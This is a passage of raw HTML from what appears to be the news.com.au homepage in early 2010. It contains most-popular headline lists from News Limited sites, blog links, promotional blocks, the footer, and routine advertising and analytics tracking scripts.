mate</a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/story/0,1,26574277-421,00.html\">Teens mutilated by botched circumcisions </a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/travel/story/0,1,26573967-5014090,00.html\">Sex resort starts new life with a bang </a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/entertainment/story/0,1,26573657-7484,00.html\">Jackie O's so sorry for radio show stunt </a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/entertainment/story/0,1,26574603-5013560,00.html\">Spears 'catches lover with two women'</a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/entertainment/story/0,1,26574711-5013560,00.html\">Ricki-Lee says women don't relate to Jen</a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/business/story/0,1,26574546-462,00.html\">Australia's new leading state revealed </a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/technology/story/0,1,26572369-5014239,00.html\">World's first life-size robotic girlfriend</a></li>\n\t\t\t\t\t\t<li><a href=\"http://www.news.com.au/business/story/0,1,26573967-462,00.html\">Sex resort starts new life with a bang </a></li>\n\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/mostpopular\">View more most popular</a></p>\n\t\t\t</div><!-- // .most-pop-item -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-adelaide-now\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/adelaidenow/\">Adelaide Now</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/adelaidenow/story/0,1,26573363-5006301,00.html\">Copycat hijacks Rann's identity</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/adelaidenow/story/0,1,26572475-5006301,00.html\">Homes saved from fire</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/adelaidenow/story/0,1,26573465-2682,00.html\">Leaner public service urged</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/adelaidenow/story/0,1,26570420-5006301,00.html\">Rann caught out on water</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/adelaidenow/story/0,1,26572914-5006301,00.html\">Low rent on the way out</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/adelaidenow/\">View Adelaide Now</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-adelaide-now -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-the-australian\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.theaustralian.news.com.au\">The Australian</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.theaustralian.com.au/story/0,1,26574071-2702,00.html\">Japan pins whale row on Gillard</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.theaustralian.com.au/story/0,1,26573620-2702,00.html\">Indian's injuries raise questions</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.theaustralian.com.au/story/0,1,26574042-2702,00.html\">Brothers swept away in Red Centre flood</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.theaustralian.com.au/story/0,1,26573994-2702,00.html\">Graduate skills shortage looming</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.theaustralian.com.au/business/story/0,1,26573288-643,00.html\">Exports to China fall as markets rally</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.theaustralian.news.com.au\">View The Australian</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-the-australian -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-the-daily-telegraph\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/dailytelegraph/\">Daily Telegraph</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/dailytelegraph/story/0,1,26572995-5006002,00.html\">Jackie O ready to walk</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/dailytelegraph/story/0,1,26574609-5001021,00.html\">Superstud Tiger's sex, cash Xmas romp</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/dailytelegraph/story/0,1,26573118-5006002,00.html\">Shire boy is in like Flynn</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/dailytelegraph/story/0,1,26572862-5001026,00.html\">Twilight star bares all in body paint</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/dailytelegraph/story/0,1,26573154-5012772,00.html\">'Crime lord's' penis falls off in raid</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/dailytelegraph/\">View Daily Telegraph</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-the-daily-telegraph -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-perth-now\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/perthnow/\">Perth Now</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/perthnow/story/0,1,26571745-5005368,00.html\">Sexy Cilmi not so sweet</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/perthnow/story/0,1,26574698-948,00.html\">Death row deal to save Rush</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/perthnow/story/0,1,26572320-2761,00.html\">Five assaults, fire-bomb in violent night</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/perthnow/story/0,1,26574068-2761,00.html\">'Mini-tornado' hits regional town</a></li>\n\t\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/perthnow/story/0,1,26574686-5017320,00.html\">Signs of life on Saturn</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/perthnow/\">View Perth Now</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-perth-now -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-the-courier-mail\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/couriermail/\">The Courier Mail</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/couriermail/story/0,1,26572647-952,00.html\">Swingers resort for sale</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/couriermail/story/0,1,26572585-3102,00.html\">Tatts the way they like it</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/couriermail/story/0,1,26574634-952,00.html\">Mum 'drove kids at 6 times legal limit'</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/couriermail/story/0,1,26573499-952,00.html\">Motorists burned at bowser</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/couriermail/story/0,1,26574615-3102,00.html\">Man dies in ute rollover</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/couriermail/\">View The Courier Mail</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-the-courier-mail -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-herald-sun\">\n\t\t\t\t\t<div class=\"mpi-header\"><h5 class=\"heading\"><a href=\"http://www.news.com.au/heraldsun/\">The Herald Sun</a></h5></div>\n                   \t<ol>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/heraldsun/story/0,1,26573342-28957,00.html\">Jackie O almost quit over stunt</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/heraldsun/story/0,1,26573247-661,00.html\">Are Victorians racist?</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/heraldsun/story/0,1,26573285-28957,00.html\">Romance off to Rocky start</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/heraldsun/story/0,1,26573835-11088,00.html\">The next Warnie</a></li>\n\t\t\t\t\t\t<li><a rel=\"track-mostpopfooter\" href=\"http://www.news.com.au/heraldsun/story/0,1,26574086-661,00.html\">Doctors demand free aircon</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/heraldsun/\">View The Herald Sun</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-herald-sun -->\n\t\t</div><!-- // .content-item .most-popular-articles .js-tab-content .js-active-content -->\n\t\t\t<div class=\"content-item most-popular-blogs js-tab-content\">\n\t\t\t\t<div class=\"most-pop-item most-pop-major most-pop-news-site\">\n\t\t\t\t\t<h5 class=\"heading\"><a href=\"http://www.news.com.au\">News.com.au</a></h5>\n\t               \t<ol>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/what_should_i_do_about_my_friend_the_home_wrecker\">What should I do about my friend the home wrecker?</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_did_a_bad_thing_at_the_office_xmas_party\">I did a bad thing at the office xmas party</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/the_mmm_monday_mourning_marvel4\">The M.M.M (Monday Mourning Marvel)</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/how_can_i_get_him_to_work_on_his_technique\">How can I get him to work on his technique?</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/i_had_sex_with_my_mates_16_year_old_daughter\">I had sex with my friend&#8217;s 16-year-old daughter. What should I do?</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/what_is_a_self_potato\">What is a self-potato?</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/subpub/index.php/news/comments/once_and_future_prints\">Tomorrow&#8217;s news</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/the_most_beautiful_women_in_the_world\">The most beautiful men and women in the world</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/bossy/index.php/news/comments/has_my_girlfriend_slept_with_too_many_men\">Has my girlfriend slept with too many men?</a></li>\n\t\t\t\t\t\t\t<li><a href=\"http://blogs.news.com.au/news/splat/index.php/news/comments/people_do_like_to_complain_dont_they\">People do like to complain, don&#8217;t they?</a></li>\n\t\t\t\t\t</ol>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/\">View News.com.au</a></p>\n\t\t\t\t</div><!-- // .most-pop-item .most-pop-major .most-pop-news-site -->\n            \t<div class=\"most-pop-item most-pop-standard most-pop-adelaide-now\">\n\t\t\t\t\t<h5 class=\"heading\"><a href=\"http://www.news.com.au/adelaidenow/\">Adelaide Now</a></h5>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/adelaidenow/\">View Adelaide Now</a></p>\n             \t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-adelaide-now -->\n\t            <div class=\"most-pop-item most-pop-standard most-pop-the-australian\">\n\t               <h5 class=\"heading\"><a href=\"http://www.theaustralian.news.com.au\">The Australian</a></h5>\n\t               <p class=\"most-pop-more-link\"><a href=\"http://www.theaustralian.news.com.au\">View The Australian</a></p>\n\t            </div> <!-- // .most-pop-item .most-pop-standard .most-pop-the-australian -->\n\t            <div class=\"most-pop-item most-pop-standard most-pop-dailytele\">\n                \t<h5 class=\"heading\"><a href=\"http://www.news.com.au/dailytelegraph/\">Daily Telegraph</a></h5>\n                \t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/dailytelegraph/\">View Daily Telegraph</a></p>\n\t            </div> <!-- // .most-pop-item .most-pop-standard .most-pop-dailytele -->\n\t            <div class=\"most-pop-item most-pop-standard most-pop-perth-now\">\n\t                <h5 class=\"heading\"><a href=\"http://www.news.com.au/perthnow/\">PerthNow</a></h5>\n                \t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/perthnow/\">View PerthNow</a></p>\n\t            </div> <!-- // .most-pop-item .most-pop-standard .most-pop-perth-now -->\n\t           <div class=\"most-pop-item most-pop-standard most-pop-courier-mail\">\n               \t\t<h5 class=\"heading\"><a href=\"http://www.news.com.au/couriermail/\">The Courier Mail</a></h5>\n\t               <p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/couriermail/\">View The Courier Mail</a></p>\n\t           </div> <!-- // .most-pop-item .most-pop-standard .most-pop-courier-mail -->\n          \t\t<div class=\"most-pop-item most-pop-standard most-pop-herald-sun\">\n\t\t\t\t\t<h5 class=\"heading\"><a href=\"http://www.news.com.au/heraldsun/\">The Herald Sun</a></h5>\n\t\t\t\t\t<p class=\"most-pop-more-link\"><a href=\"http://www.news.com.au/heraldsun/\">View The Herald Sun</a></p>\n\t\t\t\t</div> <!-- // .most-pop-item .most-pop-standard .most-pop-herald-sun -->\n\t\t\t</div><!-- // .content-item .most-popular-blogs .js-tab-content -->\n\t</div><!-- // .module-content -->\n</div><!--  // .module .network-most-popular -->\n\n\t\t<!-- [Group:1225752681579] on [fwprodcontent05.ni.news.com.au] @ [January 11, 2010 12:40PM] -->\n<div class=\"group  text-g-network-sites item-count-1\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Network Sites</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<script type=\"text/javascript\">\nif(ndm.load && ndm.load.newshome && ndm.load.newshome.draganddrop) {\n   ndm.load.newshome.draganddrop();\n}\n</script>\n\t</div><!-- // .custom-html -->\n\n\t\t\t\t\t<!-- promo-block-story -->\n<div class=\"module module-promo-block-story  mpos-2 mrpos-4 id1225752669197 text-m-the-latest-career-news-amp-advice\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\"><a href=\"http://www.careerone.com.au/?CMP=BAC-news_ia&amp;attr=tab_resumeadvice\">The Latest Career News &amp; Advice</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n<!-- promo-block-a -->\n<div class=\"story-block\">\n\t<h4 class=\"heading\">\n       <a href=\"http://www.careerone.com.au/\">Stay Up To Date</a>\n\t</h4>\n\t       <a href=\"http://www.careerone.com.au/\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2009/12/02/1225806/076004-woman-at-computer.jpg\" alt=\"woman at computer\"  class=\"thumbnail\"  width=\"100\"  height=\"66\"  /></a>\n\t<div class=\"standfirst\"><p>Stay up to date with the latest career news and advice with the free Networker Career Newsletter</p></div>\n</div><!-- // .story-block -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.module-promo-block-story -->\n\n\t\t\t\t\t<!-- promo-block-story -->\n<div class=\"module module-promo-block-story  mpos-3 mrpos-3 id1225752669439 text-m-cars\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\"><a href=\"http://www.carsguide.com.au\">Cars</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n<!-- promo-block-a -->\n<div class=\"story-block\">\n\t<h4 class=\"heading\">\n       <a href=\"http://www.carsguide.com.au/site/buy-a-car/\">Buy a car</a>\n\t</h4>\n\t       <a href=\"http://www.carsguide.com.au/site/buy-a-car/\" class=\"thumb-link\"><img src=\"http://resources2.news.com.au/images/2009/12/14/1225810/288306-buy-a-car.gif\" alt=\"Buy A Car\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<div class=\"standfirst\"><p>\n<link rel=\"File-List\" href=\"file:///C:%5CDOCUME%7E1%5Ccolemanj%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml\" /><!--[if gte mso 9]><xml>\n<w:WordDocument>\n<w:View>Normal</w:View>\n<w:Zoom>0</w:Zoom>\n<w:PunctuationKerning />\n<w:ValidateAgainstSchemas />\n<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>\n<w:IgnoreMixedContent>false</w:IgnoreMixedContent>\n<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>\n<w:Compatibility>\n<w:BreakWrappedTables />\n<w:SnapToGridInCell />\n<w:WrapTextWithPunct />\n<w:UseAsianBreakRules />\n<w:DontGrowAutofit />\n</w:Compatibility>\n<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>\n</w:WordDocument>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n<w:LatentStyles DefLockedState=\"false\" LatentStyleCount=\"156\">\n</w:LatentStyles>\n</xml><![endif]--><style type=\"text/css\">\n<!--\n /* Style Definitions */\n p.MsoNormal, li.MsoNormal, div.MsoNormal\n\t{mso-style-parent:\"\";\n\tmargin:0cm;\n\tmargin-bottom:.0001pt;\n\tmso-pagination:widow-orphan;\n\tfont-size:12.0pt;\n\tfont-family:\"Times New Roman\";\n\tmso-fareast-font-family:\"Times New Roman\";\n\tmso-bidi-font-family:\"Times New Roman\";\n\tmso-fareast-language:EN-AU;\n\tmso-bidi-language:AR-SA;}\n@page Section1\n\t{size:612.0pt 792.0pt;\n\tmargin:72.0pt 90.0pt 72.0pt 90.0pt;\n\tmso-header-margin:36.0pt;\n\tmso-footer-margin:36.0pt;\n\tmso-paper-source:0;}\ndiv.Section1\n\t{page:Section1;}\n-->\n</style><!--[if gte mso 10]>\n<style>\n/* Style Definitions */\ntable.MsoNormalTable\n{mso-style-name:\"Table Normal\";\nmso-tstyle-rowband-size:0;\nmso-tstyle-colband-size:0;\nmso-style-noshow:yes;\nmso-style-parent:\"\";\nmso-padding-alt:0cm 5.4pt 0cm 5.4pt;\nmso-para-margin:0cm;\nmso-para-margin-bottom:.0001pt;\nmso-pagination:widow-orphan;\nfont-size:10.0pt;\nfont-family:\"Times New Roman\";\nmso-ansi-language:#0400;\nmso-fareast-language:#0400;\nmso-bidi-language:#0400;}\n</style>\n<![endif]-->Carsguide has a wide range of cars for sale.&nbsp; Our reviews, road tests and tools will help you choose the car for you.</p></div>\n</div><!-- // .story-block -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.module-promo-block-story -->\n\n\t\t\t\t\t<!-- promo-block-story -->\n<div class=\"module module-promo-block-story  mpos-4 mrpos-2 id1225752673856 text-m-win-5000\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\"><a href=\"http://www.truelocal.com.au/win5k\">Win $5000</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n<!-- promo-block-a -->\n<div class=\"story-block\">\n\t<h4 class=\"heading\">\n       <a href=\"http://www.truelocal.com.au/win5k\">Free business listing - Truelocal.com.au</a>\n\t</h4>\n\t       <a href=\"http://www.truelocal.com.au/win5k\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2009/07/21/1225752/675480-truelocal.jpg\" alt=\"truelocal\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<div class=\"standfirst\"><p>List for free to go in the draw to win. Upload content or purchase a paid listing and get more chances to win.</p></div>\n</div><!-- // .story-block -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.module-promo-block-story -->\n\n\t\t\t\t\t<!-- promo-block-story -->\n<div class=\"module module-promo-block-story  mpos-5 mrpos-1 id1225752677158 text-m-real-estate\">\n        <div class=\"module-header\">\n                    <h3 class=\"heading\"><a href=\"http://www.realestate.com.au/\">Real Estate</a></h3>\n        </div><!-- // .module-header -->\n    <div class=\"module-content\">\n<!-- promo-block-a -->\n<div class=\"story-block\">\n\t<h4 class=\"heading\">\n       <a href=\"http://www.realestate.com.au/\">NEW tools to help you get the best price</a>\n\t</h4>\n\t       <a href=\"http://www.realestate.com.au/\" class=\"thumb-link\"><img src=\"http://resources3.news.com.au/images/2009/07/21/1225752/673747-realestate.jpg\" alt=\"realestate\"  class=\"thumbnail\"  width=\"74\"  height=\"75\"  /></a>\n\t<div class=\"standfirst\"><p>Know your market with weekly Auction results and information on recent sales in your area. Find out more.</p></div>\n</div><!-- // .story-block -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.module-promo-block-story -->\n\n\t\t</div><!-- // .item ipos-1 irpos-1 -->\n\t</div><!-- // .group-content.item-count-1 -->\n</div><!-- // .group -->\n\n\t\t\t\t</div><!-- // #content-5 -->\n\t</div><!-- // #content -->\n<div id=\"footer\">\n        <div id=\"footer-ads\">\n            <div class=\"ad ad-leaderboard\">\n                <div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n                <div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n                <div class=\"ndmadkit ndmadkit-leaderboard\"><script type=\"text/javascript\">ndm.kit.leaderboard();</script></div><!-- // .ndmadkit -->\n            </div><!-- // .ad .ad-leaderboard -->\n        </div><!-- // #footer-ads -->\n\t\t\t    <div class=\"footer-tools\">\n\t\t\t        <ul>\n\t\t\t            <li class=\"first tool-mobile\"><a href=\"/mobile\">Mobile</a></li>\n\t\t\t            <li class=\"tool-rss\"><a href=\"/help/rss\">RSS Feeds</a></li>\n\t\t\t            <li class=\"tool-newsletter\"><a href=\"http://news.reply.com.au/ni/newspulse.asp\" >Newsletters</a></li>\n\t\t\t            <li class=\"tool-tips\"><a href=\"/help/storytips\">Send Stories</a></li>\n\t\t\t            <li class=\"last tool-pics\"><a href=\"/sendusphotos\">Send Your Photos</a></li>\n\t\t\t        </ul>\n\t\t\t    </div><!-- // .footer-tools -->\n\t\t\t\t<div class=\"footer-nav\">\n\t\t\t\t\t<dl >\n\t\t\t<dt class=\" first \"><a href=\"/help\">Help</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt ><a href=\"/help/contactus\">Contact Us</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt ><a href=\"http://www.newsspace.com.au/digital\" >Advertise with Us</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt ><a href=\"http://searchjobs.careerone.com.au/search/search.cgi?collection=careerone_xml&amp;meta_g_phrase_sand=News%20Digital%20Media\" >Job Opportunities</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt ><a href=\"/archives\">Archives</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt ><a href=\"/help/sitemap\">Sitemap</a></dt>\n <!--[if IE]></dl><dl><![endif]-->\n\t\t\t<dt class=\"  last\"><a href=\"/partner-headlines\">News Headlines from Our Partners</a></dt>\n</dl><!-- // . -->\n\n\t\t\t\t</div><!-- // .footer-nav -->\n\t<!-- pagetreepath : / -->\n\t         <div class=\"footer-legals\">\n\t\t\t\t        <ul>\n\t\t\t\t\t       <li class=\"first\"><a href=\"/help/termsconditions\">Terms &amp; Conditions</a></li>\n\t\t\t\t\t        <li><a href=\"/help/privacypolicy\">Privacy Policy</a></li>\n\t\t\t\t\t        <li class=\"last\"><a href=\"/help/accessibility\">Accessibility</a></li>\n\t\t\t\t        </ul>\n\t\t\t        <p class=\"copyright\">Copyright 2009 News Limited. All times AEST (GMT +10)..</p>\n\t\t\t</div><!-- // .footer-legals -->\n\t<div class=\"as ad-footer\">\n\t\t<div class=\"ndmadkit ndmadkit-footer\"><script type=\"text/javascript\">ndm.kit.footer();</script></div><!-- // .ndmadkit -->\n\t\t<div class=\"ndmadkit ndmadkit-footer\"><script type=\"text/javascript\">ndm.kit.footer();</script></div><!-- // .ndmadkit -->\n\t\t<div class=\"ndmadkit ndmadkit-footer\"><script type=\"text/javascript\">ndm.kit.footer();</script></div><!-- // .ndmadkit -->\n\t</div>\n</div><!-- // #footer -->\n<div id=\"stats\">\n\t <!--WEBSIDESTORY CODE HBX2.0 (Universal)-->\n\t <!--COPYRIGHT 1997-2005 WEBSIDESTORY,INC. ALL RIGHTS RESERVED. U.S.PATENT No. 6,393,479B1. MORE INFO:http://websidestory.com/privacy-->\n\t <script type=\"text/javascript\">\n\t\t//<![CDATA[\n\t var _hbEC=0,_hbE=new Array;function _hbEvent(a,b){b=_hbE[_hbEC++]=new Object();b._N=a;b._C=0;return b;}\n\t var hbx=_hbEvent(\"pv\");hbx.vpc=\"HBX0200u\";hbx.gn=\"ths.news.com.au\";\n\t // BEGIN EDITABLE SECTION\n\t // CONFIGURATION VARIABLES\n\t hbx.acct=\"DM5703019OAF\";\t\t\t//ACCOUNT NUMBER(S)\n\t hbx.pn=\"Homepage\"; //PAGE NAME(S)\n\t hbx.mlc=\"/homepage\"; //MULTI-LEVEL CONTENT CATEGORY\n\t hbx.pndef=\"NewsComAu\";\t\t\t//DEFAULT PAGE NAME\n\t hbx.ctdef=\"full\"; //DEFAULT CONTENT CATEGORY\n\t //OPTIONAL PAGE VARIABLES\n\t //ACTION SETTINGS\n\t hbx.fv=\"\"; //FORM VALIDATION MINIMUM ELEMENTS OR SUBMIT FUNCTION NAME\n\t hbx.lt=\"auto\"; //LINK TRACKING\n\t hbx.dlf=\"n\"; //DOWNLOAD FILTER\n\t hbx.dft=\"n\"; //DOWNLOAD FILE NAMING\n\t hbx.elf=\"n\"; //EXIT LINK FILTER\n\t //CUSTOM VARIABLES\n\t hbx.ci=\"\"; //CUSTOMER ID\n\t hbx.hc1=\"\"; //CUSTOM 1\n\t hbx.hc2=\"\"; //CUSTOM 2\n\t hbx.hc3=\"\"; //CUSTOM 3\n\t hbx.hc4=\"\"; //CUSTOM 4\n\t hbx.hrf=\"\"; //CUSTOM REFERRER\n\t hbx.pec=\"\"; //ERROR CODES\n\t //INSERT CUSTOM EVENTS\n\t //END EDITABLE SECTION\n\t //REQUIRED SECTION. CHANGE \"YOURSERVER\" TO VALID LOCATION ON YOUR WEB SERVER (HTTPS IF FROM SECURE SERVER)\n\t\t//]]>\n\t </script>\n\t <script type=\"text/javascript\" src=\"http://resources1.news.com.au/cs/js/hbx.js\"></script>\n\t <!--END WEBSIDESTORY CODE-->\n\t\t<!-- START Nielsen Online SiteCensus V5.3nse -->\n\t\t<!-- COPYRIGHT 2008 Nielsen Online -->\n\t\t<script type=\"text/javascript\">\n\t\t\tvar _rsCI=\"newscorp\";\n\t\t\tvar _rsCG=\"0\";\n\t\t\tvar _rsDN=\"//secure-au.imrworldwide.com/\";\n\t\t</script>\n\t\t<script type=\"text/javascript\" src=\"http://resources1.news.com.au/cs/js/v53nse.js\"></script>\n\t\t<noscript>\n\t\t\t<div><img src=\"//secure-au.imrworldwide.com/cgi-bin/m?ci=newscorp&amp;cg=0&amp;cc=1\" alt=\"\"/></div>\n\t\t</noscript>\n\t\t<!-- END Nielsen Online SiteCensus V5.3nse -->\n\t<!-- START TRAKTR -->\n\t<script type=\"text/javascript\">\n\t//<![CDATA[\n\t\tvar tracktrSectionName = ndm.page.section.replace(/-/g, \"_\");\n\t\tTRAKTR = window.TRAKTR || {};\n\t\t/* editable */\n\t\tTRAKTR.site = \"NEWS\";\n\t\tTRAKTR.section = tracktrSectionName;\n\t\tTRAKTR.pn = \"NewsComAu | home | homepage | Homepage\";\n\t\tTRAKTR.tags = \"content:type=homepage\";\n\t\t/* end editable */\n\t//]]>\n\t</script>\n\t<script type=\"text/javascript\">\n\t//<![CDATA[\n\t\t(function (a) {\n\t\tvar df=window.ndm||{page:{site:\"\",section:\"\"}},p=a||\"basic:on\";window.TRAKTR=window.TRAKTR||{};\n\t\tp+=\",site:\"+(TRAKTR.site||df.page.site||\"\").toLowerCase();\n\t\tp+=\",section:\"+(TRAKTR.section||df.page.section||\"\").toLowerCase();\n\t\tp+=\",plugins:\"+(TRAKTR.plugins||\"\").toLowerCase();p+=\",release:\"+(TRAKTR.release ||\"latest\").toLowerCase();\n\t\tdocument.write(unescape(\"%3Cscript src='//traktr.news.com.au/esi/traktr.js?cfg=\"+encodeURIComponent(p)+\".js'%3E%3C/script%3E\"));\n\t\t}());\n\t//]]>\n\t</script>\n\t<script type=\"text/javascript\">\n\t//<![CDATA[\n\t\tTRAKTR.pi();\n\t//]]>\n\t</script>\n\t<noscript>\n\t\t<div>\n\t\t<img src=\"//pt200194.unica.com/ntpagetag.gif?js=0&amp;sitename=news\" alt=\"\" />\n\t\t<img src=\"//secure-au.imrworldwide.com/cgi-bin/m?ci=newscorp&amp;cg=0\" alt=\"\" />\n\t\t</div>\n\t</noscript>\n\t<!-- END TRAKTR -->\n</div><!-- // # stats 